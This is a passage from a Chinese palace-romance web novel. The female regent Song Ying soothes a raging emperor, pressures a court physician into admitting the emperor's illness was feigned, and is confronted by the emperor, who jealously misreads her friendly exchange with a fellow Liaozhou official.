御案中间被砸塌下去,木刺外翻得狰狞。 桌上笔洗碎成残片,墨锭断成数截,与茶水混作一处,从案上淋漓而下,一直泼洒到盘龙金柱上,弄污了雕龙图腾。 文书更是被撕碎揉烂,铺满了地。 目光掠过地上,宋迎盯着一团烂纸瞧了好久,还好不是她熬夜批注的那些。 整个大殿,没有一寸完好的地方。 说实话,宋迎觉得又好气又好笑。 狗皇帝宁可自虐到这个地步,也不愿意见她吗? 狗皇帝是不是已经意识到…… 他自己喜欢她了啊? 所以不愿意见她, 那就是不愿意承认咯。 宋迎不想弄脏衣服,提着衣摆,小心翼翼地避开脚下脏污。 视线又要时不时上抬,梭巡着永昭帝。 他不在,这片狼藉之中。 那他人呢? 下一秒,宋迎在墙角阴影里发现了他。 一头墨发早已不成形,地龙明明烧得旺,额角却满是汗珠,不知是冷是热,只觉苍白侧脸浸得狼狈。 身上那件寝衣被蛮力扯开,开了线,大敞着,随着压抑的喘息,胸膛微微起伏着。 视线停了数息,而后,缓缓下移—— 他正死死咬着自己的手背。 牙关绷紧,肌肉在微微抽搐,鲜血自齿缝间汩汩渗出,染红了手背上深可见骨的牙印。 触目惊心。 她又抬眼。 那双眸子已是一片混沌血海,血丝如蛛网,从眼角一直蔓延至瞳孔深处,仿佛要将漆黑瞳仁彻底搅碎。 四目相对的刹那。 混沌眼眸倏然涣散,掀起波澜。 茫然一瞬。 随即,猩红猛地倒缩,翻涌而来的竟不是失控躁郁,而是……恐惧。 “谁让你进来的?!”他嘶吼出声,“出去!” 他抄起手边物件,看也不看,便朝着她的方向狠狠掷了过去! 宋迎根本没眨眼。 镇纸砸在理她三米远的墙壁上。 闷响过后,墙灰簌簌而落,留下一个深坑。 他想吓退她,用足了力道。 却避开了她,分毫未差,连灰都没飘过来。 宋迎被惊了一跳。 突然,这腔火气被撞得烟消云散。 哪里是什么豺狼虎豹,明明是只淋了雨的……坏狗狗? 心头蓦地一软,那些到了嘴边的话,就这么咽了回去。 “过来,” 宋迎声音放轻,穿过狼藉混乱,系在了永昭帝濒临崩溃的神经上。 “好不好?” 理智在抗拒,身体却在渴望。 那声音像种在他身体里的蛊,驱使着他想要靠近的欲望。 他死死盯着宋迎,喉结滚了滚,想说什么,却只挤出含糊又破碎的呜咽。 宋迎见他迟迟不肯动。 叹了口气,走上前跨了一步。 但—— 宋迎低头,看了眼自己干净的靴底,又看了一眼前方狼藉,实在没有下脚的地方。 刚跨了一步的脚,悬在半空,又收回去了。 永昭帝心中一松,随即化为痉挛般的疼痛。 “别过来!”永昭帝猛地抬头,“宋迎,你以为朕不敢杀你吗?!” 暴戾的威胁在空旷大殿散开。 宋迎眉梢未动,从那双平静眼眸里露出些许嫌弃。 “陛下你看,”她伸手,点了点两人之间的残骸碎墨,“路都让你砸烂了,没法走。” 宋迎说得理所当然,“你既然不愿我过去,那你过来吧。” …… 世界,在永昭帝脑中,再一次安静了。 他怔怔地望着她,瞳孔露出血色下的无措。 有那么一瞬间,他无法理解这几个字的含义。 她……说什么? 让他……过去? “过来。” 宋迎又说了一遍,语气还是那么轻柔。 她就那么站在原地,站在那片狼藉的边缘,朝他摊开双手。 掌心向上。 那是一双怎样干净的手。 腕骨纤细,指节匀亭,像一截暖玉。 ——过去。 到她那里去。 脑海中仅剩这一个声音。 所有挣扎与喧嚣,在这道赦令前,尽数溃散。 身体,比理智先一步做出了反应。 那只被血浸透的手,搭上墙壁,身子摇摇晃晃地站了起来。 墙上留下狰狞血印,他朝着宋迎的方向,迈出了第一步。 一步。 五感六识瞬间反扑,他腿一软,险些跪倒在地。 可他的视线,还落在掌心上。 那双手稳稳地悬在半空,等着他。 单手撑膝,重新支起身体。 又一步。 脚下踩碎了玉器碎片。 再一步。 衣摆蹭过奏疏墨痕。 每一步,都在离安宁更近一步。 每一步,都在离宋迎更近一步。 终于,他踉跄着,走到了她的面前。 指尖离她的掌心,只差分毫。 他却不敢再向前。 他怕自己满身的血污,会弄脏莹白。 就在他迟疑的瞬间,那双手毫不犹豫地,覆了上来,握住了他颤抖的指尖。 温热干燥的触感,透过他满手黏腻的血污,一路烫进了心底。 顺着腕脉,烧遍全身。 凶兽偃旗息鼓,温顺地蛰伏了下去。 身体骤然一松。 他再也支撑不住,高大的身躯猛地向前倾倒。 宋迎早有预料,不退反进,微屈膝盖,用肩膀稳稳撑住他砸下来的重量。 她任由他的头靠在自己的颈窝,低头闻了闻他身上的味道后—— 宋迎嫌弃地撇了撇嘴。 低声抱怨道,“脏死了。” 第34章 第34章喜欢?谈不上吧。…… 宋迎只能撑一时,自然搬不动人高马大的狗皇帝。 “来人。”她高声喊道,“将陛下移驾偏殿。” 内侍手忙脚乱地将不省人事的永昭帝抬走。 宋迎环视了圈,这万春殿是没法住了,重新装修吧。 她继续吩咐道:“这里的东西,不必修了,全都换新的。” 待她安排好一切,回到偏殿,太医院的张院正已经到了。 永昭帝被宫人伺/候着,换了身干净寝衣。 偏殿的床到底没有正 殿的大,被他一个人占个满当,都快躺不下了。 那晚上她还要怎么睡啊。 宋迎蹙着眉,扫了眼永昭帝,便坐在一旁。 她姿态端凝,呷一口新茶,驱了驱寒气。 半晌,张院正撤手,回话道: “回禀殿下,陛下方才急火攻心,致使气血逆行,神思混乱。待陛下醒来,好生休养,便无大碍了。” “有劳张太医了。”宋迎抬眼笑道,“去外头领赏吧。” 张院正暗松了口气,连忙叩首谢恩:“多谢殿下赏赐,此乃臣分内之事。” 他提着药箱,躬身退出殿外。 张院正一只脚刚迈过门槛,身后,便传来一声轻笑。 下一瞬,他只觉后背贯入一股疼痛,接着,整个人不受控制地向前扑去。 脸直接栽进庭院里的积雪中。 头冠摔得歪斜,雪沫呛进口鼻,张院正顾不得去擦脸上狼狈,连忙回过身,重新跪好。 “殿下!臣、臣不知犯了何罪?” 宋迎缓步,踱至他面前,长身玉立。 她垂眸睨着,方才和煦笑意荡然无存,眉眼浸在阴影里,凉薄又寡恩。 “张太医怕是忘了,”宋迎轻嗤,“本王乃当今摄政王,大权在握,一人之下而已。” “胆敢对本王阳奉阴违,你猜,你的项上人头,能不能安稳待到陛下醒来?” 张院正浑身抖如筛糠,不知是被冻的,还是被吓得。 “臣、臣不敢!臣所言句句属实,绝无半句虚言!” 他不住地磕头,额头撞在雪地里,洇出一片殷红。 宋迎撇过视线,说实话,她也拿不准。 可那狗皇帝……说是体虚得卧床静养,偏偏抓着她的力气大得惊人。 就没见过哪个快死的人,亲起嘴来还那么凶的。 她泄了口气,既然威逼无用…… 宋迎话锋一转:“本王听说,张院正的掌上明珠,许了傅家二公子?” 张院正身子猛地一僵,不明白为何突然提起这个。 宋迎眉梢微挑,复又继续:“傅二郎眠花宿柳的名声,整个京州谁人不知?” 张院正哆嗦着,他当然知道傅二的德行! 都怪他!都怪他这张管不住的嘴! 平日里总忍不住在同僚面前夸耀女儿的乖巧贴心,否贼也不会被人盯上! 吏部侍郎,官居三品,又岂是他能得罪的起的! 张院正重重叹了口气,闭上眼。 宋迎俯下身,指尖拂去他肩头积雪,“张大人,那是你唯一的女儿。你真舍得?” 张院正肩头剧颤,新雪簌簌而落。 他怎么舍得,那是他唯一的女儿啊! “本王向来心善,”宋迎勾唇起身,“这样吧,明日,本王便亲自为你女另择良婿,至于傅家那门亲事,一道懿旨作废便是。” 她好整以暇地睨着,“你,意下如何?” 张院正猛地抬起双眸,老泪夺眶而出,一个头重重磕下。 额头埋入冰雪,崩溃声从雪地里传来:“殿下……殿下饶命!” “陛下……陛下他安然无恙!他、他根本没有中毒!” 寒风呼啸破碎,吹得宋迎有点冷,脑子也有点乱。 据张院正所言,永昭帝根本没有中毒。 这怎么可能呢,黎婧容为了复国大业,怎么可能不下毒? 难道她所依仗的“剧情”,从根本上就是个谎言? 还是……其中发生了什么变故? 宋迎百思不得其解,她无暇顾及张院正,转身进了屋。 永昭帝睡得很沉。 方才太医为他处理好了伤口,那只手被裹得像粽子,搁在被褥上。 薄唇微抿,长睫投出两弯小小阴影,遮住了那双金瞳,竟透出几分少年气。 ……装得还挺像。 宋迎在心底冷嗤,眯着眼睛,目光如刀,恨不得在他脸上多划几道口子。 可一落上去,心头那点薄怒,竟被卸得干干净净。 ——“他喜欢她。” 这个事情又扎了宋迎一下。 扎得眼睛有点热,她移开视线,不敢再看他。 宋迎转身,不知为何踱步至殿中一人高穿衣镜前。 镜中清晰映出她的模样。 头戴束发玉冠,冠上东珠温润生光。 一袭绀黄四爪蟒袍,云纹自领口张扬至袖口。 穿上,便不怒自威。 穿上,便冷冽如霜。 宋迎看着镜中的自己,微微蹙起了眉。 这身衣裳,她其实一点都不喜欢。 朝服的料子又硬又沉,尤其是这高领,总硌得她下巴不舒服。 绀黄色也显得老气横秋,她明明最喜欢绯色和水绿了! 袍子上的四爪金蟒更是张牙舞爪,狰狞得很。 她还是喜欢那些漂亮柔软的罗裙,更喜欢用朱钗松松挽起长发。 玉冠好沉,压得她头皮都疼。 可她,是摄政王。 他们之间,本该是君臣。 可现在,那条界限,似乎渐渐变得模糊起来。 宋迎,你扪心自问,你对狗皇帝,到底是什么感觉? 喜欢? 宋迎在心底咀嚼着这个词,随即又觉得好笑。 谈不上吧。 她只是觉得,这头桀骜不驯的凶兽,如今愿意收起獠牙,摇着尾巴,露出柔软肚皮的时候—— 心底突然生出一丝奇特的满足感。 这种感觉很熟悉。 上一辈子,她不是没被高大强壮的哨兵追求过。 怎么说呢。 总感觉怪怪的。 在哨向设定的世界里,向导的稀缺性本该成为主导者,但大多时候,向导却属于下置位,沦为附庸。 ——只因哨兵数量过于庞大,庞大到大多是他们掌握着话语权。 即使是她这个F级,因为数量稀少的原因,也从不缺追求者。 那些哨兵,把“我愿意为你献上生命”挂在嘴边,仿佛是什么了不得的事。 但是,宋迎想找个人陪着去图书馆的时候—— 他们只会用看怪物的眼神看她,然后打开光脑说:“为什么要去那看书?整个联邦书库的数据,我不到一秒就能下载完毕。” “难道你的光脑没有升级吗?我可以帮你。” 感觉他们是在嫌弃她老土。 不,他们就是在嫌弃她老土。 那永昭帝和他们,又有什么区别? 他或许是主宰一切的帝王。 可他收起獠牙,难道不也是因为,他意识到了她的“利用价值”吗? 宋迎甚至懒得去想以后。 以永昭帝的性格,他若想要,只会直接夺取,从不会问猎物的意愿。 他的喜欢,一旦宣之于口,便不是商榷,而是圣旨。 就像从前,他做过的无数次决策一样—— 她的意见,永远都不重要。 从前不重要,以后也不会重要。 宋迎跳动的心,渐渐冷却下来。 殿外,准时响起小太监通传声: “殿下,该上朝了。” 是啊,还有好多事等着她做呢。 两个时辰后的事,便留给两个时辰后的自己。 宋迎迈过门槛,朝服拖曳出一道流影。 金銮殿上,百官分列两侧。 龙椅高悬,却空无一人。 所有人的目光,尽数攒射在龙椅之下的那个身影上。 宋迎凭栏而立,“有事,奏。” 话音刚落,有人便从队列中越步而出,躬身道:“臣,有本要奏。” “讲。” “启禀殿下!宫禁疏漏,刺客横行,前有储秀阁,后有尚食司!此乃我大景之奇耻大辱!臣以为,禁军统领与内庭总管,皆有失职之罪,恳请殿下严惩!” 话音刚落,殿中便有数人蠢蠢欲动,正欲附和。 还没等附和声起,另 一名老臣已然出列, “陛下龙体乃国之根本!可至今缠绵病榻,太医院竟连个病因都说不出来!臣敢问殿下——这究竟是太医无能,还是有人……另有所图?!” “王大人慎言!”一声喝止打断了诛心之语。 众人循声望去,只见盛向明排众而出。 王侍郎认得他,是摄政王一手提拔的寒门新贵,好像去江南办了什么差事,才回京不久。 顿时面露不屑:“有何高见?” 盛向明先是朝上首恭敬一揖,而后朗声道: “王大人此言,恕下官不敢苟同!正因宵小猖獗,才更显殿下之功。若非殿下亲肃内廷、调派禁/卫,焉有今日安稳?” “至于陛下龙体,殿下忧心如焚,彻夜陪护,此乃阖宫上下有目共睹!王大人不思为君分忧,反倒在此捕风捉影,以市井流言构陷监国重臣,意图动摇国本——” 盛向明向前踏出一步,“不知,是何居心?!” 有人帮自己说话的感觉真是好。 宋迎终于能够理解高伯深为什么要结党营私了。 眼见那王大人气得发抖,就要与盛向明争辩,殿上气氛愈发剑拔弩张。 宋迎抬手虚按,“盛卿所言,亦是本王所想。” 她一句话先定了性,随即目光飘至王侍郎身上, “不过,王大人的忧心也不无道理。陛下圣体日安,不日便可亲理朝政。这些话,王大人可敢留到陛下面前,再说一次?” 宋迎轻飘飘一句反问,却让那人浑身一颤,跪倒在地:“臣、臣失言!请殿下恕罪!” 没点骨气的东西。 她睨了眼,淡淡吐出两个字: “退下吧。” 钟磬响起,下了朝,百官鱼贯而出。 宋迎行在最前,身后却传来一道声音。 “殿下,请留步。” 是盛向明。 宋迎停下脚步,转身看他。 晨光穿过雕栏玉砌,光斑跳跃在他脸上,那双耿直的眼眸,显得有些灼人。 盛向明快走几步上前,深深一揖:“臣,多谢殿下知遇之恩。” 宋迎的目光在他身上停留了片刻,不曾想这么些时日他便回京了。 此人有胆识,有谋略,假以时日,必成大器,应当好好夸奖才是! 声音是难得的温软,“本王只是给了你一个机会。” 她顿了顿,看着对方骤然亮起的眼睛, “是你自己,牢牢抓住了它。” 就是这一刹那的柔和,让盛向明的心跳漏了一拍。 他怔在原地,目光竟有些挪不开了。 宋迎几乎是立刻就捕捉到了他的异样,眼中笑意凝固。 “盛向明,”她眉头微蹙,声音冷了三分,“你在看什么?” 盛向明猛地回神,骇然惊觉自己方才的目光有多僭越! 热意从耳根烧到脖颈,他慌忙垂下头,“臣失礼!请殿下恕罪!” “是、是因……”他心头狂跳,慌不择言地解释,“殿下方才展颜,眉眼神韵,像极了臣的一位故人……” 宋迎心中微动,隐约察觉了什么。 她向前半步,“那人,姓甚名谁?” 盛向明窘迫至极,老老实实回答道:“……姓宋。” “……名,晋同。” 第35章 第35章他若身死,她便是未来君…… 永昭帝早就醒了。 他天生五感过人,此刻伤病缠身,更是将这份敏锐催化到了极致。 殿外风雪呼啸似鬼哭,宫人脚步奔走似催命,吵得他的心一抽一抽的。 偏偏,有一道清冽干净的冷香,霸道地侵占了他所有的感官。 他眼也未睁,侧过头,鼻尖蹭着被褥深嗅,不知餍足地去追寻那气息的源头。 不够。 还远远不够。 喉结滚动,又重重咽了几口唾沫。 他挣扎着,欲起身,动作扯到手背伤处。 尖锐刺痛让他倒抽一口冷气,却也唤回了那双手的触感。 她的手—— 很小,温软细腻,不盈一握,大概只有他的一半大。 那么软,像九天舒卷的云。 他从未握过云,却下意识地认为,天际云絮,摸上去,就该是她指尖的温度与触感。 他知道不该放任自己这样下去。 可心神的松懈,成了无法抗拒的借口,放任自己随波逐流。 他能感觉到她肩骨纤细,是如何撑起他大半身躯的重量。 也听见了那声嘟囔,“脏死了。” 他几乎要笑出声。 隐秘的雀跃,像是冬日火焰,燎得掌心发烫,也不舍得离开温暖。 在他面前,她是断然不会说这种话的。 是了,他和她,身份有别。 咳意上涌,永昭帝发出几声闷咳,又被死死压回喉间。 他亲手将她捧上摄政亲王之位,他若身死,她便是未来君主。 如此,还有什么,是不能在他面前说的? 郁气冲上头顶,引得他终是没忍住,剧烈地呛咳起来。 撕心裂肺后,郁气被咳尽,心肺间一片空荡的疼。 那股好奇又变本加厉地缠了上来,挠得心尖,又痒又麻。 忽然想看到更多—— 这种渴望,可以称得上是贪婪的新奇感,瞬间压过隐秘欢愉。 他想要的,不再是那一点点掌心了。 外头钟磬声响起。 永昭帝等了又等。 眉心不自觉地蹙起,怎么还没回来。 那点愉悦迅速发酵成了焦躁,“……隐。” 心痒难耐,他终于睁开了眼。 “去看看。” …… …… “盛卿是辽州人士?” 阁楼高耸,四面风来。 宋迎立在窗前,目光落在远处一线积雪的寒光上。 京州尚有残雪,千里之外的辽州,想必冰封三尺。 盛向明心头一跳,愈发觉得古怪。 殿下日理万机,怎会无端问起他的籍贯? 他不敢深思,连忙藏下惊疑,恭谨回道:“回殿下,臣祖籍正是辽州。” “本王方才……”宋迎顿了顿,深吸一口气道,“听你提及……宋晋同。” 她缓缓转身,望向盛向明,“你与他,似乎颇为熟稔?” 盛向明怔了怔,没想到殿下竟是为了此事。 他虽不解殿下为何对宋晋同如此关心,但还是老老实实地答道: “是,臣与晋同兄,曾是同科进士。” 提起故人,盛向明神情复杂,有敬佩,更有痛惜。 “晋同兄他……才情卓绝,胸有丘壑。他的策论被主考官誉为‘十年难得一见’,我等无不钦佩他的抱负与远见。” “那后来呢?”宋迎声音有些发紧。 盛向明重重叹了口气:“后来……臣与他一同外放,正欲大展拳脚,报效君王。谁知……辽州忽传急讯,说宋家……出了事。” 他只知是家事,不便多问,不太清楚其中原委。 但转念又想,或许是殿下惜才,偶然间读到了晋同兄当年的策论,故有此一问? 盛向明抬眼,觑了觑摄政王的神色。 “晋同兄听闻家变,悲痛之下,毅然辞官归乡。自那以后……便再无音讯。” 他低下头,语气满是遗憾,“晋同兄那样的国之栋梁,若……若非家门不幸,如今定能站在朝堂之上,为殿下分忧,为陛下尽瘁。” 话音散在风声呜咽里。 宋迎一个字也听不见了。 原来是这样。 原来……真的是因为她。 还好不是爹娘出了什么事。 她宁愿,宁愿是兄长因她归家,也不愿是……爹娘的身子,真的熬不住了。 是思乡情切。 更是近乡情怯。 “你,退下吧。” 盛向明还为故友争取些什么,可他看见摄政王垂在广袖下,慢慢收拢成拳的五指。 还是默默行了一礼,退出了高阁。 脚步声远去,只剩下宋迎一人。 她伸出手,接住一片随风飘入的雪花。 雪花迅速消弭,像一滴滚烫的泪。 京州的雪,比辽州的冷。 是她不孝。 指尖寒气浸透骨缝,宋迎收回手。 她终于转身,一步步走下高阁。 回到偏殿时,永昭帝依旧睡得沉。 宋迎的目光扫过,床榻被那个人占得满满当当,只在床沿留出窄窄一条。 这晚上怎么睡啊,宋迎叹了口气。 床上的人睫毛微颤。 算了忙起来,或许就不会胡思乱想了。 宋迎这么想着,走到案前,翻开了奏折。 灯火如 豆,投下一道清瘦孤直的身影。 她解下玉冠,搁在案角。 青丝如瀑,顺着单薄肩胛滑落,褪下外袍,留出里头一身素净。 做事还是清简些好。 思索、决断、批阅。 她仿佛不知疲倦,亦不知晨昏。 直到,她翻开了一本关于辽州的奏折。 是地方官的例行公事,文辞平庸。 ——“辽州初雪已至,民心甚安……” 执笔的手微微一颤,笔尖顿住。 一滴朱砂坠落,在宣纸上缓缓洇开。 思绪拉回辽州。 辽州的风,带着水汽, 不似京州这般,风冽如刀,刮得她脸疼; 辽州的雪,绒绒雪花, 不似京州这般,灼人皮肉,冻得她手疼。 阿娘还会去小厨房做她爱的条子肉,浓油赤酱,不似京州,那么寡淡。 她又想起了兄长。 兄长和她一样,都爱穿水绿色的衣裳,会笑着揉乱她的头发,说她是个野丫头。 是了, 辽州的雪,是暖的。 再抬眼,窗外天色泛起沉沉鸦青。 腹中空空,她却破天荒地不觉饥饿。 她本想强撑着精神去汤池沐浴,可目光一转,却瞥见帐幔微动,里面躺着一个人。 那点残存的力气顿时散得干干净净,气不打一处来。 不洗了,熏死他才好。 吹熄了灯,宋迎摸黑上了床,只在床沿最外侧躺下,缩成了一小团。 她背对着他,将脸深深埋进枕席间。 死寂黑暗似乎重新唤醒了记忆。 身体先于意识开始战栗。 为了不让哽咽溢出,她将手背送到嘴边,痛意让混沌清醒了一瞬,旋即被更汹涌的悲恸吞噬。 终于,一滴眼泪挣脱了眼眶,砸进枕头里。 紧接着,是第二滴,第三滴……再也止不住。 她没有发出任何声音,连呼吸都放得很轻很轻。 泪水却决了堤般,汹涌滑落,迅速浸湿了一大片枕巾。 而她不知道,身旁的那双眼眸,缓缓睁开。 凝视着她。 她在发抖? 她在哭。 为了……今日暖阁见的男人? 嫉妒好像变成大手,一把握住了他的心脏。 第36章 第36章“摄政王,留下。”…… 宋迎一睁眼,就看见永昭帝正瞪着她。 昨天迷迷糊糊睡过去的时候,分明是背对着的啊,怎么…… 他没说话,那双近在咫尺的眼眸,就那么直勾勾地看着她。 宋迎心头一凛,下意识坐起身,却被身上的异样感惊得僵住。 ——她的腿,横在了永昭帝的腰间。 “陛下醒了?”她飞快收回腿,拢了拢散乱的衣襟,强作镇定,“可要臣传太医,来请个平安脉?” “不必。” 永昭帝盯着她微微泛红的眼眶,“倒是你,昨夜……似乎没歇息好?” 宋迎心猛地一沉,抬手抚上眼睫,肿得这么明显的吗? 见她沉默,永昭帝眉心渐拢,冷笑道:“可是梦到了什么伤心事?” 他忽然倾身向前,咬牙切齿地唤了她的名字。 “宋、迎。” “臣……臣是想起家了,”宋迎垂下眼,避开迫人视线,“京州大雪连绵,不免想起家乡辽州,一世情动……” “是么。” 听出永昭帝语气狐疑,宋迎忍不住腹诽,她又没说错!的确是想家了啊! 京州大雪都下了几天了,昨日不情动,前日不情动,怎么偏偏跟朝臣去了趟暖阁就情动了? 郁气翻涌,烧得他胸口疼。 永昭帝撑身欲起,似乎想下床。 动作间牵动了伤口,带出一声闷哼。 “陛下!” 宋迎赶忙伸手去扶。 手刚碰到胳臂,就被永昭帝反手一把攥住。 永昭帝沉沉地盯着她:“朕,今日可上朝。” “啊?”宋迎一愣。 之前装病的时候不上朝,单偏偏今日就要上朝了? “陛下龙体尚未痊愈,”宋迎劝道,“昨日太医言,还请再修养两日。” 昨日昨日,还是昨日! 她果然想支开他! 永昭帝眼神骤然转冷,猛地拂开她的手。 宋迎:……? 宋迎被推得身子向后微倾。 他醒过来还甩上脸子了?! 她给他擦屁股都快给他擦到屁股缝了! 丫的,难怪说“伴君如伴虎”、“帝王心术,向来如此”了! 今日,她算是领教得明明白白! “怎么?”永昭帝讥诮问道,“朕若上朝,是怕耽误了你的……” 目光触及她瞬间下拉的眉眼,永昭帝心口蓦地一刺,刻薄话还是咽了回去,生硬地转了个弯,“……大事?” 宋迎利落地翻身下床,退后三步,双手相握道:“臣不敢。臣所作所为,皆为陛下分忧。既然陛下执意上朝,那臣即刻去为陛下准备朝服。” 你以为我喜欢天天加班啊,果然当皇帝的疑心病重。 不就是怕她功高盖主吗? 男人都一个样,想得永远都是自己。 自私自利的爱,可真是让人畏惧又……心寒。 宋迎越想越委屈,干脆甩袖转身,没入屏风后。 宋迎情绪外露得太过明显。 屏风上水墨山河的影子微微晃动,隔不断视线,也隔不断她身上凛然怒意。 她居然还敢生气?她背着他邀人赏雪的时候怎么不对那个男人生气? “咳咳咳……!” 怒火攻心,这一夜的煎熬,真就让他气血逆行,心口绞痛起来。 他又瞥了眼屏风,这么大的动静,她不可能没听见。除非她聋了! 然而,屏风后的人,毫无动静。 永昭帝叹了口气,默默闭上了双眼。 屏风后,窸窣的穿衣声很快停了。 宋迎再出来时,已是朝服齐整,玉冠高束,手里捧着明黄朝服,赌气似的摔在桌上。 她目不斜视,径直走向殿门。 “站住。” 宋迎脚步一顿,没有回头。 “朕说了,今日上朝。”他几乎是从齿缝里,一个字一个字往外蹦,“替、朕、更、衣。” 宋迎闭了闭眼,按捺住情绪。 她转过身,脸上挂着恭敬:“遵命,陛下。” 永昭帝一寸寸描摹着宋迎的动作。 可她却始终垂着眸,没有与他对视一次。 她为他披上外袍,神情专注,像是侍弄器物。 毫无感情可言。 她指腹温热,偶尔擦过颈侧、胸膛、腰间,却能激起一圈圈战栗。 永昭帝的喉结,不受控制地滚了又滚。 终于,她为他束好玉带,指尖在他腰侧停留了不足半息,便如避蛇蝎般迅速后退,拉开距离。 而后,躬身,垂首。 “陛下,请。” …… …… 朔雪未歇,宫门大开。 百官入内,脚步却齐齐一凛。 头戴十二冕旒的君王,竟然早早端坐其上。 冕旒珠帘垂下,他面色苍白,唇色也淡,却无人敢将他与“病弱”二字联系起来。 那双凤眼半阖,目光如刃,寒光自俯首众臣头顶刮过。 天威,重临。 宋迎立于九龙金座之下。 待百官入定后,内侍高声道:“有事启奏——” 话音刚落,工部尚书便出列上奏,辽州雪灾一事。 “启禀陛下,辽州雪灾,积雪数尺。臣等连夜商议,拟开春后加固辽河主堤,征发民夫三千,以防春汛成灾。请……陛下圣裁。” 那一声“殿下”险些脱口而出,又被他生生咽了回去。 这方案中规中 矩,挑不出大错。 是稳妥的选择。 众臣以为此事将就定下—— “不可!” 有人急声反对道。 盛向明自列中走出,高声继续说道: “启禀陛下,启禀殿下!辽河水文与别处不同,其下游支流繁杂,百年前有先贤魏公,曾依地势修筑暗渠分流,名为‘魏公渠’!若只固主堤,不通暗渠,一旦春汛来临,主堤承压,河水倒灌,届时决堤之祸,必将十倍于从前!” 他的话掷地有声,却引来一片窃窃私语。 “魏公渠?闻所未闻。” “怕不是什么乡野杂谈,也敢拿到朝堂上来说?” “图纸何在?史料何在?岂容盛大人,凭一句乡野传闻,便空耗国力?” 永昭帝:“工部所议,乃历年成法。盛卿之言,可有实证?” 盛向明被驳得面色涨红,乡间野谈,百姓口口相传,如何能拿出证据? 他急得额角冒汗:“图纸早已失传,但、但此事在辽州人尽皆知,臣……” 御座之上,永昭帝余光自始至终,笼着宋迎一人。 他看见她,看着她秀眉微蹙,看见她望向盛向明的眼神里,流露出一丝……不忍? 下一瞬,宋迎动了。 她先是跨出一步,接着,清越声音响彻整座金銮殿。 “启禀陛下,盛卿所言不虚!” 盛向明猛地抬起头。 而永昭帝的眸色,顷刻间沉了下去。 宋迎目光越过众人,落在了盛向明身上。 “辽州民谣有云:‘雪花大如手,岂能不拜魏高台’。(1)” “这‘高台’,指的便是魏公渠上最关键的一处泄洪石阀。它不在主河道,而在下游三十里外的‘回龙湾’。” “此乃辽州百姓代代相传。” 盛向明震惊地望着上首,是了是了!就是这句俚语! 长揖及地,他才猛然反应过来,难不成摄政王……竟也是辽州人士? 疑问尚未落地,他已直起了背脊。 盛向明复又望向上首,正好迎上宋迎弯起的双眼。 她几不可见地颔首。 这一幕,尽数落入龙椅上那双幽暗眼眸。 他听不懂那句俚语,他不知道什么魏公渠,他更不明白回龙湾在何处。 他只看到,在朝堂之上,他的摄政王,在他眼皮底下,用一个他闻所未闻的典故,与另一个男人。相视一笑。 心脏深处,像是有什么东西被活生生撕裂,滚烫血液轰然炸开。 杀了他。 将那个碍眼的男人,碎尸万段。 不,不行。 心底有个声音告诉他,这样会把宋迎推得更远。 永昭帝笑了,他想到了一个好主意。 “传朕旨意。” 此言一出,宋迎同众臣一齐跪下。 他目光依旧缠在宋迎的身上: “盛向明,忠君体国,心系民生,如此栋梁,朕心甚慰。” 盛向明一愣,随即大喜,自己的谏言可是被采纳了?! “既是辽州栋梁,自当为家乡分忧。” “特擢其为巡查御史,总领北上河运诸事。” “——即刻启程,无诏,不得返京。” 调回自己家乡可是求都求不来的福气! 不,何止是福气!这简直是天大的恩典! 盛向明激动得叩了又拜,拜了又叩。 “多谢陛下隆恩!臣,领旨谢恩!” 宋迎缓缓抬头,看向龙椅上的人。 明升,实贬。也就只有盛向明会发自内心的高兴了。 如此冲动,毫不算计,这不是狗皇帝的风格啊。 永昭帝撞上她眼中不解,唇角笑意加深。 “退朝。” 他拂袖而起,“摄政王,留下。” 第37章 第37章这家伙……好像不是在装…… 厚重殿门在身后缓缓合拢。 方才还喧嚣鼎沸的金銮殿,顷刻间死寂下来。 斜阳投下一道狭长光斑,不偏不倚地,落在两人之间。 永昭帝坐在九龙宝座上,一瞬不瞬地盯着宋迎。 接着,他起身走下高阶。 脚步落地很缓,身形却有刹那的踉跄,这点虚弱霎时酿满了眸底骇人戾气。 永昭帝走到宋迎面前,停下。 居高临下地俯视着她。 这是他从未见过的宋迎,是朝堂上的宋迎。 过去,他只能从隐卫的密报中窥得一鳞半爪。 可亲眼所见,远比想象来得更让他心旌摇曳—— 声线低沉,透着不容违抗的威压,跟在他面前那副鹌鹑样截然不同。 颇有他的风范。 这种感觉—— 就像是悉心浇灌了一朵花,看着她破土抽芽,果真,她不负所望,开出了惊艳世人的花骨朵,还生出了锋利漂亮的尖刺。 只是这刺,连主人都敢扎。 “摄政王今日在朝上,真是让朕……”永昭帝微眯双眼,深吸了一口气,才吐出下半句。 “……大开眼界。” 宋迎不动声色地向后微撤半步,避开了他的笼罩。 垂首敛眉道:“为陛下分忧,为朝廷举贤,是臣的本分。” “盛向明确有才干,臣不敢因私废公。” 来了来了又来了。 举荐是拉帮结派,辩驳是意图专权。 正话反话他都能说,怎么说他都有理, 谁让他是皇帝。 欲加之罪,何患无辞。 宋迎心中腹诽万千。 “本分?” 永昭帝低声重复着,又猛地逼近一步。 他进一步, 宋迎便退一步。 “那你方才与他眉目相交相视而笑!心中所想……也是‘本分’二字?” 永昭帝步步逼近,几乎是咬牙切齿。 步履交错,直至腰抵凭栏,宋迎双手下意识地撑在栏上,稳住身形。 她什么时候和人家相视一笑了? 宋迎愣了愣,不过是念在同乡之谊,才在朝上出言襄助。仅此而已。 这都能被恶意曲解? 他脑子里到底在想什么? 这跟你每天去隔壁部门赔笑脸,只为工作效率更高一点,老板却觉得你不务正业,打算扣你工资有什么区别? 宋迎的错愕茫然,全然被永昭帝当成了戳穿心事之后,欲盖弥彰的惊慌羞恼。 “无话可说了?”他五指猛然收紧,纱布上,血色迅速洇开,衬得眼底愈发狰狞。 他欺身而下,靴尖抵住她的,长臂一揽,便将她整个人都拽进了怀里。 宋迎猝不及防,腰线被他勒得生疼,被迫向后仰去。 “昨夜为他伤心落泪,今日为他在朝堂与朕针锋相对,方才还与他眉目传情……现在,你跟朕讲‘本分’?” “宋迎!” 压抑了一整夜嫉妒愤怒,夹杂着他自己都没有察觉到的委屈,在此刻喷涌而出。 宋迎被他勒得倒抽一口凉气,腰几乎要断了。 ——事实证明,人在极度愤怒的时候,记忆会欺骗你。 她昨夜,什么时候,为他伤、心、落、泪? 她今天,什么时候,跟他唱、反、调、了? 狗皇帝…… 傻缺吧这是。 宋迎眸光闪了闪,她醍醐灌顶。 不是因为她功高盖主。 不是因为他疑心病重。 而是因为—— 这个狗皇帝,以为她和盛向明有什么?! 